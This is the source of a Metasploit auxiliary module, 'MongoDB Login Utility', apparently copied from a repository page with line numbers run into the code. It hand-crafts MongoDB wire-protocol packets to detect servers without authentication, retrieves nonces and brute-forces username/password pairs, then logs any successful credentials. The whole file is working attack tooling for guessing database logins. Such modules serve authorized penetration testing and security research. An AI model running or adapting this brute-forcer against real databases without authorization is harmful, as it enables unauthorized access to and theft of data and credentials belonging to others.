Path: blob/master/modules/auxiliary/scanner/mongodb/mongodb_login.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Auxiliary::AuthBrute8include Msf::Auxiliary::Scanner9include Msf::Exploit::Remote::Tcp1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MongoDB Login Utility',16'Description' => %q{17This module attempts to brute force authentication credentials for MongoDB.18Note that, by default, MongoDB does not require authentication.19},20'References' => [21[ 'URL', 'https://docs.mongodb.com/manual/reference/mongodb-wire-protocol/' ],22[ 'URL', 'https://github.com/mongodb/specifications/blob/master/source/auth/auth.rst/' ]23],24'Author' => [ 'Gregory Man <man.gregory[at]gmail.com>' ],25'License' => MSF_LICENSE,26'Notes' => {27'Reliability' => UNKNOWN_RELIABILITY,28'Stability' => UNKNOWN_STABILITY,29'SideEffects' => UNKNOWN_SIDE_EFFECTS30}31)32)3334register_options(35[36Opt::RPORT(27017),37OptString.new('DB', [ true, "Database to use", "admin"])38]39)40end4142def run_host(ip)43print_status("Scanning IP: #{ip.to_s}")44begin45connect46if require_auth?47each_user_pass { |user, pass|48do_login(user, pass)49}50else51report_vuln(52:host => rhost,53:port => rport,54:name => "MongoDB No Authentication",55:refs => self.references,56:exploited_at => Time.now.utc,57:info => "Mongo server has no authentication."58)59print_good("Mongo server #{ip.to_s} doesn't use authentication")60end61disconnect62rescue ::Exception => e63print_error "Unable to connect: #{e.to_s}"64return65end66end6768def require_auth?69request_id = Rex::Text.rand_text(4)70packet = "\x3f\x00\x00\x00" # messageLength (63)71packet << request_id # requestID72packet << "\xff\xff\xff\xff" # responseTo73packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)74packet << "\x00\x00\x00\x00" # flags75packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (admin.$cmd)76packet << "\x00\x00\x00\x00" # numberToSkip (0)77packet << "\x01\x00\x00\x00" # numberToReturn (1)78# query ({"listDatabases"=>1})79packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00"8081sock.put(packet)82response = sock.recv(1024)8384have_auth_error?(response)85end8687def do_login(user, password)88vprint_status("Trying user: #{user}, password: #{password}")89nonce = get_nonce90status = auth(user, password, nonce)91return status92end9394def auth(user, password, nonce)95request_id = Rex::Text.rand_text(4)96packet = request_id # requestID97packet << "\xff\xff\xff\xff" # responseTo98packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)99packet << "\x00\x00\x00\x00" # flags100packet << datastore['DB'] + ".$cmd" + "\x00" # fullCollectionName (DB.$cmd)101packet << "\x00\x00\x00\x00" # numberToSkip (0)102packet << "\xff\xff\xff\xff" # numberToReturn (1)103104# {"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"}105document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65"106document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00"107document << [user.length + 1].pack("L") # +1 due null byte termination108document << user + "\x00"109document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00"110document << nonce + "\x00"111document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00"112document << Rex::Text.md5(nonce + user + Rex::Text.md5(user + ":mongo:" + password)) + "\x00"113document << "\x00"114# Calculate document length115document.insert(0, [document.length + 4].pack("L"))116117packet += document118119# Calculate messageLength120packet.insert(0, [(packet.length + 4)].pack("L")) # messageLength121sock.put(packet)122response = sock.recv(1024)123unless have_auth_error?(response)124print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}'")125report_cred(126ip: rhost,127port: rport,128service_name: 'mongodb',129user: user,130password: password,131proof: response.inspect132)133return :next_user134end135136return137end138139def report_cred(opts)140service_data = {141address: opts[:ip],142port: opts[:port],143service_name: opts[:service_name],144protocol: 'tcp',145workspace_id: myworkspace_id146}147148credential_data = {149origin_type: :service,150module_fullname: fullname,151username: opts[:user],152private_data: opts[:password],153private_type: :password154}.merge(service_data)155156login_data = {157last_attempted_at: Time.now,158core: create_credential(credential_data),159status: Metasploit::Model::Login::Status::SUCCESSFUL,160proof: opts[:proof]161}.merge(service_data)162163create_credential_login(login_data)164end165166def get_nonce167request_id = Rex::Text.rand_text(4)168packet = "\x3d\x00\x00\x00" # messageLength (61)169packet << request_id # requestID170packet << "\xff\xff\xff\xff" # responseTo171packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)172packet << "\x00\x00\x00\x00" # flags173packet << "\x74\x65\x73\x74\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (test.$cmd)174packet << "\x00\x00\x00\x00" # numberToSkip (0)175packet << "\x01\x00\x00\x00" # numberToReturn (1)176# query {"getnonce"=>1.0}177packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"178179sock.put(packet)180response = sock.recv(1024)181documents = response[36..1024]182# {"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0}183nonce = documents[15..30]184end185186def have_auth_error?(response)187# Response header 36 bytes long188documents = response[36..1024]189# {"errmsg"=>"auth fails", "ok"=>0.0}190# {"errmsg"=>"need to login", "ok"=>0.0}191if documents.include?('errmsg')192return true193else194return false195end196end197end198199200